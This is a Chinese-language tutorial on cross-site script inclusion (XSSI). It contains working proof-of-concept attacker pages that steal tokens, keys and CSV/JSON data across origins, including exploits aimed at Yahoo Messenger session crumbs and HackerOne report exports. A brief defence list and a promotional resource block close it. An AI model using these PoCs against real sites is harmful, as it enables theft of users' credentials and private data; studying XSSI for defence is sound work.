XSS最強知識體系漏洞萬字總結

語言: CN / TW / HK

在這裏插入圖片描述

一.XSSI漏洞原理

同源策略

同源策略是Web應用程序安全模型中最基本也是最核心的策略。

現在所有支持JavaScript的瀏覽器都會使用這個策略。

所謂同源是指,域名,協議,端口相同。

同源策略規定,不同源的客户端腳本(javascript、ActionScript)在沒明確授權的情況下,不能讀寫對方的資源。

此策略可防止一個頁面上的惡意腳本通過該頁面的Document Object Model訪問另一網頁上的敏感數據。

為了滿足同源策略,瀏覽器對不同訪問行為進行了限制,限制規則一般如下:

在這裏插入圖片描述 XSSI原理

XSSI漏洞全稱為跨站腳本包含漏洞,攻擊者通過使用<script>標籤(所有帶src或href屬性的標籤以及部分其他標籤可以跨域)跨域包含特定文件/頁面

可以竊取符合JavaScript格式的文件中的敏感信息。 在這裏插入圖片描述 攻擊者會將可泄露用户信息的JavaScript文件包含進來。

這裏獲取的目標數據,即敏感信息,大致分為幾類:

認證憑據

CSRF token

用户個人信息等

XSSI、XSS、CSRF的區別

XSS 攻擊是指攻擊者在網站上注入惡意的客户端代碼,通過惡意腳本對客户端網頁進行篡改,從而在用户瀏覽網頁時,對用户瀏覽器進行控制或者獲取用户隱私數據的一種攻擊方式。

攻擊者對客户端網頁注入的惡意腳本一般包括 JavaScript,有時也會包含 HTML 和 Flash。

有很多種方式進行 XSS 攻擊,但它們的共同點為:將一些隱私數據像 cookie、session 發送給攻擊者,將受害者重定向到一個由攻擊者控制的網站,在受害者的機器上進行一些惡意操作

CSRF(跨站請求偽造),指冒充用户發起請求(在用户不知情的情況下),完成一些違背用户意願的請求(如惡意發帖,刪帖,改密碼,發郵件等)通常來説CSRF是由XSS實現的,所以CSRF時常也被稱為XSRF[用XSS的方式實現偽造請求]。

XSS更偏向於代碼實現(即寫一段擁有跨站請求功能的JavaScript腳本注入到一條帖子裏,然後有用户訪問了這個帖子,這就算是中了XSS攻擊了),CSRF更偏向於一個攻擊結果,只要發起了冒牌請求那麼就算是CSRF了

XSSI(跨站請求包含)是XSS的一種形式,即瀏覽器不會阻止網頁加載圖像和文字等資源,這些資源通常託管在其他域和服務器。

例如,如果abc銀行有一個腳本用於讀取用户的私人賬户信息,攻擊者可以在其自己的惡意網站包含這個腳本,當abc銀行的客户訪問攻擊者的網站時,攻擊者就可以從abc銀行的服務器提取用户信息。

從表面上看,XSSI和CSRF看起來很相似,因為在這兩種情況下,請求都是從惡意頁面發送到另一個域的,並且在兩種情況下,請求都是在登錄用户的上下文中執行的。

關鍵區別在於目標。

在CSRF中,攻擊者希望在受害者頁面內執行惡意操作,例如在網上銀行應用程序中進行轉帳。

在XSSI中,攻擊者想要跨域泄露數據,以便再執行攻擊。

與jsonp劫持的關係

jsonp劫持等利用js對插入函數進行插入惡意代碼,將敏感數據發送到攻擊者的服務器,實際上就是對存在jsonpjack持守入侵的網頁進行發起一次請求,讓其受害者客户端執行插入的惡意代碼

而xssi主要獲取服務器為每個客户端生成的動態js文件中的敏感數據,達到信息定向的目的,這種信息可能包括用户的登錄憑證,嚴重可導致任意用户賬號接管。

二.XSSI漏洞利用以及POC

XSSI通常區分為三種情況。

但是利用方式是相似甚至是相同的(就像反射與存儲的XSS)。我們可以將三種情況區分如下:

靜態JavaScript(常規XSSI)

直接訪問該js即可獲取敏感信息,但一般都是攻擊認證後包含敏感信息的js

假設敏感內容設定在一個全局變量中,如下面的現實例子:

var privateKey ="-----BEGIN RSA PRIVATE KEY-----

....

-----END RSA PRIVATE KEY-----",

    keys =[

{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },

{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }

];

利用POC:

<html>

<head>

<title>Regular XSSI</title>

<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>

</head>

<body>

<script>

      alert(JSON.stringify(keys[0]));

</script>

</body>

</html>

動態JavaScript

1.敏感信息存儲在全局變量

http://vuln.com/dynamic.js

var token='secret';

利用POC

http://attacker.com/xssi.html

<!DOCTYPE html>

<html>

<head>

<title>xssi</title>

</head>

<body>

<scriptsrc="http://vuln.com/dynamic.js"></script>

<script>alert(token);</script>

</body>

</html>

2.敏感信息被外部函數處理,可以重寫函數

http://vuln.com/dynamic1.js

(function(){

var token='secret';

    doSomeThing(token);

})();

利用POC:

http://attacker.com/xssi1.html

<!DOCTYPE html>

<html>

<head>

<title>xssi1</title>

</head>

<body>

<script>function doSomeThing(data){alert(data);}</script>

<scriptsrc="http://vuln.com/dynamic1.js"></script>

</body>

</html>

3.利用原型鏈竊取敏感信息

對於非常規情況,可以考慮利用原型鏈獲取數據

http://vuln.com/dynamic2.js

(function(){

var token='secret';

var data=token.trim();

})();

利用POC:

http://attacker.com/xssi2.html

<!DOCTYPE html>

<html>

<head>

<title>xssi2</title>

</head>

<body>

<script>String.prototype.trim =function(){alert(this);}</script>

<scriptsrc="http://vuln.com/dynamic2.js"></script>

</body>

</html>

在這裏插入圖片描述

非JavaScript

1.IE bug導致錯誤信息泄漏 (ie 9 和 ie 10)

為了防止js錯誤信息跨域泄漏,對於外部加載的js文件,現在主流的瀏覽器只有固定的錯誤信息,比如“script error”,當是在ie9與ie10,情況不一定如此。

一般來説,在外部js發生語法錯誤的情況下,瀏覽器只會提供固定的錯誤信息,

但是當在runtime發生錯誤的情況下,瀏覽器會提供詳細的錯誤信息。

比如”foo 未定義”之類的,某些瀏覽器一旦允許外域js回覆詳細的錯誤信息,就會導致信息泄漏。

就是説,當某個網頁的內容能被js識別為javascript格式的話,那麼就可能通過錯誤信息獲取到目標的內容。

比如,目標網頁

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

攻擊者設置錯誤顯示

#!html

<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

一旦加載成功,網頁則會顯示 “‘abc’ is undefined”

會出現這種情況是因為瀏覽器將目標識別為javascript,那麼abc就會被識別為某個未定義的變量。

當為這種情況的時候,瀏覽器就允許頁面捕捉來自不同網頁的錯誤信息。

做一個總結就是,有被利用的可能性的數據都是可以被識別,或者通過某種方式識別為有效js的數據。

不過,稍微需要注意的一點,出現該漏洞的只有ie 9 和 ie 10。

2.通過UTF-16編碼獲取其它類型的數據 (ie版本小於10)

大家可以看到,上面的東西只在csv這種操蛋的玩意上有用,

所以我們做了更多的研究看看能否獲取不同格式的數據,

之後我們發現通過UTF-16編碼可以達到我們的目標。

其實本身是一個很簡單的技巧 比如頁面a ,我們加入 charset=”UTF-16BE”

#!html

<!--set an error handler -->

<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>

<!-- load target JSON -->

<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

然後json數據長這個逼樣

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:39

{"aaa":"000","bbb":"111","ccc":"222"}

當響應缺少字符集規範的時候,會被charset屬性強制轉碼為固定的編碼,我們用這個技巧擼掉了許多有名的瀏覽器,包括ie 9。

測試這段代碼之後,我們給自己彈了個窗。 在這裏插入圖片描述 我們可以看到一串亂碼,因為,當瀏覽器獲取目標網頁的數據,之間經過了一次編碼,然後到我們的頁面上經過charset制定的字符集進行了一次解碼。 在這裏插入圖片描述 我們能很簡單的得出一個結論就是我們能通過對亂碼的再次編碼來獲得原有的信息

不過需要注意的就是隻有當編碼後的信息能夠被瀏覽器識別為有效的js標示符的時候攻擊才有可能成功,這是一個重要的條件,

對於不同的平台的編碼是有所不同的,在ie上可以被識別為有效js標示符的字符是多於其他平台的,至於其他來説ie的 ECMAScript規範 跟其他瀏覽器總體沒什麼不同。

打個比方對於ie來説 ‘3q’ (U+3371, ㍱) 在 unicode編碼中會被認為是 屬於 “Symbol, Other [So]”,就是符號的一種。

總的來説這種形式的認定不應該發生在任何瀏覽器中,不過ie可能比較2b一些。

我們花了很多時間研究了什麼樣的組合,能夠被瀏覽器認定為有效的js標示符,當字符編碼為UTF-16的時候的數字字母組合,ie 9將其99.3%認為是有效的js標示符,高於chrome和firefox。

具體結果見下圖 在這裏插入圖片描述 需要注意的一件事就是在ie 10 或者更高的版本,可能攻擊無法奏效,因為ie 10 拒絕將沒有空字節活着bom的編碼為utf16。

3.chrome/firefox 中 Harmony proxy bug利用

Harmony是一個ECMAScript 6中的新功能 ,類似於java的反射類,其中定義了對於對象屬性的查找,分配,函數調用

在我們針對這些新特性的研究過程中發現該功能可以用於xssi的攻擊中

#!html

<!--set proxy handler to window.__proto__ -->

<SCRIPT>

var handler ={

 has:function(target, name){alert("data="+ name);returntrue},

get:function(target, name){return1}

};

window.__proto__ =newProxy({}, handler);

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

注意其中的window.proto 定義了一個代理對象,當訪問一個未定義的全局變量,就會出發handler進行處理。

然後csv文件長這樣:

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

當訪問攻擊頁面的時候如果攻擊成功那麼久會收到 “data=abc”, “data=def”, “data=ghi”的彈窗,我們在firefox和chrome都得到了驗證。

4.窮舉

假設一個攻擊頁面通過js 加載了下面的csv文件。

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:8

1,xyz123

一旦加載我們就會得到一個 xyz123未定義的錯誤

換句話説,如果我們在加載外部文件之前定義了這個標示符,那麼我們就不會受到這個錯誤,同時我們也可以判斷xyz123是存在於外部文件中的。

也就是説我們需要一個合適的檢測錯誤是否發生的方式。

一般情況下瀏覽器是不提供詳細的外部錯誤信息,不過仍然會返回一個通用的錯誤標示。

所以説窮舉信息還是是存在可能性的。

總的來説我們發現三種窮舉的方式

第一種是二元搜索。

比如你知道目標會是 “xyz121”, “xyz122”, “xyz123” 和 “xyz124″中的其中一個,可以先定義前兩個變量然後看有無錯誤爆出,然後定義後兩個,然後再縮小目標。

第二種是使用 js 的getter,像下面醬紫

#!html

<!--set getters -->

<SCRIPT>

Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});

Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});

Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});

Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

就是目標值訪問 window.**|||||| 會觸發上面的規則。

第三種是使用vbscript來獲取json數組

這個思路來自Hasegawa做的研究,組合vbscript和json進行攻擊(4]

目標頁面長這個樣子

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:12

[1,"xyz123"]

然後再我們的攻擊界面中調用vbscript

#!html

<SCRIPT language="vbscript">

Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub

Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub

Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub

Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub

</SCRIPT>

<!-- load target JSON asVBScript-->

<SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

跟上面的攻擊相似,都是通過窮舉來獲取目標值。不過vbscript只試用於ie

5.csv獲取

上面獲取csv的信息只在目標的字符串沒被引號擴起來的情況下,不過同樣是一些小技巧能夠使我們繞過這一限制。

讓我們假設一個csv長這個b樣。

1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"

假設攻擊者能夠插入自己的字符串,那麼只需要根據RFC相關CSV (RFC 4180 (12])中的規定來添加一個雙引號就可以bypass這個限制。

for example

1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"

2,"foo","[email protected]","03-0000-0002"

...
98,"bar","[email protected]","03-0000-0088"

99,"*/}//","[email protected]","03-0000-0099"

一個比較蛋疼的問題就是如何獲取多行的信息,因為多行在js中是違法的

上面的例子裏,我們使用 $$.toString() 獲取函數遠嗎來達到攻擊目標數據的目的。

這種攻擊方式試用於所有的瀏覽器。

一種獲取多行內容的方式可以在chrome和firefox中奏效,就是ECMAScript6模版字符串中通過反引號來獲取多行內容。

三.XSSI漏洞實例

雅虎XSSI漏洞實現用户信息竊取

在雅虎(Yahoo)漏洞眾測項目中,通過BurpSuite來進行抓包分析,發現下圖的請求: 在這裏插入圖片描述 測試發現是JSONP服務端,在雅虎網站API中,.crumb 值其實就是一個隨機字符串

它與用户的session和身份驗證值相關,並且如果在該請求中,GET參數 .crumb 值無效的話,其響應如下: 在這裏插入圖片描述 如果能以某種方式去竊取到受害者的有效.crumb 值的話,那麼就能竊取到對方的具體賬號信息值了。

因此,在BurpSuite的抓包中來查找所有包含有效 .crumb 值的請求,最終,發現了在某個動態的Javascript文件存在這樣的信息

該Javascript文件位於

https://messenger.yahoo.com/embed/app.js。

源代碼如下: 在這裏插入圖片描述

這個XSSi 漏洞原理其實是這樣的,它允許攻擊者繞過原始邊界竊取特定類型數據,

利用了script標記的src屬性來突破同源策略( SOP),也即在script標記中,瀏覽器不會阻止網頁加載圖像和文字等第三方資源。

因此,為了竊取

https://messenger.yahoo.com/embed/app.js

中的有效回調 .crumb 值,然後把它放置在鏈接

https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx

中進行請求,以獲取到相關用户的session信息,POC代碼如下:

<html>

<head>

<title>Yahoo XSSi PoC</title>

</head>

<body>

<divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;">

<h1style="text-align: center;">Proof of Concept</h1>

<b>Dataset 1:</b>

<divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

<br/>

<b>Dataset 2:</b>

<divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

</div>

<script>

function processDeviceUsers(data){

                document.getElementById("content1").innerHTML = JSON.stringify(data);

}

            window.onload =function(){

var config ={};

                config_data ={};

                config.merge =function(data){ config_data = data };

                iris.initConfig(config);

                document.getElementById("content2").innerHTML =  JSON.stringify(config_data);

var src ="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;

var s = document.createElement('script');

                s.setAttribute('src', src);

                document.body.appendChild(s);

}

</script>

<scriptsrc="https://messenger.yahoo.com/embed/app.js"></script>

<scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script>

</body>

</html>

效果: 在這裏插入圖片描述 hackerone漏洞:如何利用XSSI竊取多行字符串

由於瀏覽器不會阻止一個域名中的頁面直接引用其他域名的資源

所以我們可以在script標籤中引入第三方域名的資源,然後觀察其運行情況

但我們現在還無法讀取到來自第三方域名script標籤中的內容。

需要注意的是,包含script標籤的不一定必須是JS文件,文件開頭也無需標註text/javascript,而且文件的擴展名也並非一定要是“.js”。

hackerone存在漏洞的地址是:

https://hackerone.com/reports/12345/export/raw?include_internal_activities=true

在這裏插入圖片描述 這是“導出”功能的一個部分,它允許我們查看或下載原始報告內容。

點擊之後,瀏覽器便會發送上圖所示的GET請求。

這是一個XHR請求,並帶有一個反CSRF令牌。

我們可以在瀏覽器中看到GET請求所對應的完整響應信息: 在這裏插入圖片描述 為了跨域泄漏報告(Report)的內容,所有的語句必須是有效的JavaScript語句。

以下是報告demo: 在這裏插入圖片描述 第一行是一條標記語句(“Title”後面跟着的是用户提供的標題),標記語句是一種有效的JavaScript語句,後面可以跟自己的輸入參數。

為了獲取到多行字符串數據,這裏還要用到反引號( )。

接下來,在結尾的反引號中添加一條註釋來作為字符串結束的標誌。

現在,可以script標籤中嵌入上面給出的URL地址,然後就遠程提取出所需要的數據了

POC如下:

<!DOCTYPE html>

<html>

<head>

<metacharset='utf-8'/>

<script>

//Tagged template literals

function demo( strings){

            alert(strings);

}

</script>

</head>

<body>

<scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script>

</body>

</html>

目前只知道兩種控制JavaScript多行字符串的方法(串聯和反引號轉義)

ECMAScript 6也引入了一種箭頭函數(Arrow_Functions),它允許開發人員使用簡短的字符來定義函數。

下面是一個簡單的例子: 在這裏插入圖片描述 除此之外,模版字符串(Template Literals)則是一種更簡單的多行字符串處理方式。

四.XSSI漏洞防禦

  • X-Content-Type-Options設置為nosniff
  • 不要將敏感數據(session,token等)放在javascript文件中, 也不要放在jsonp中
  • 禁止get
  • 加token
  • 自定義xhr/http請求 在這裏插入圖片描述
  • ①2000多本網安必看電子書(主流和經典的書籍應該都有了)
  • ②PHP標準庫資料(最全中文版)
  • ③項目源碼(四五十個有趣且經典的練手項目及源碼)
  • ④ 網絡安全基礎入門、Linux運維,web安全、滲透測試方面的視頻(適合小白學習)
  • ⑤ 網絡安全系統學習路線圖(告別不入流的學習)
  • ⑥ 黑客工具大全
  • ⑦ 2021網絡安全/Web安全/滲透測試工程師大廠面經

【點我資料領取】

在這裏插入圖片描述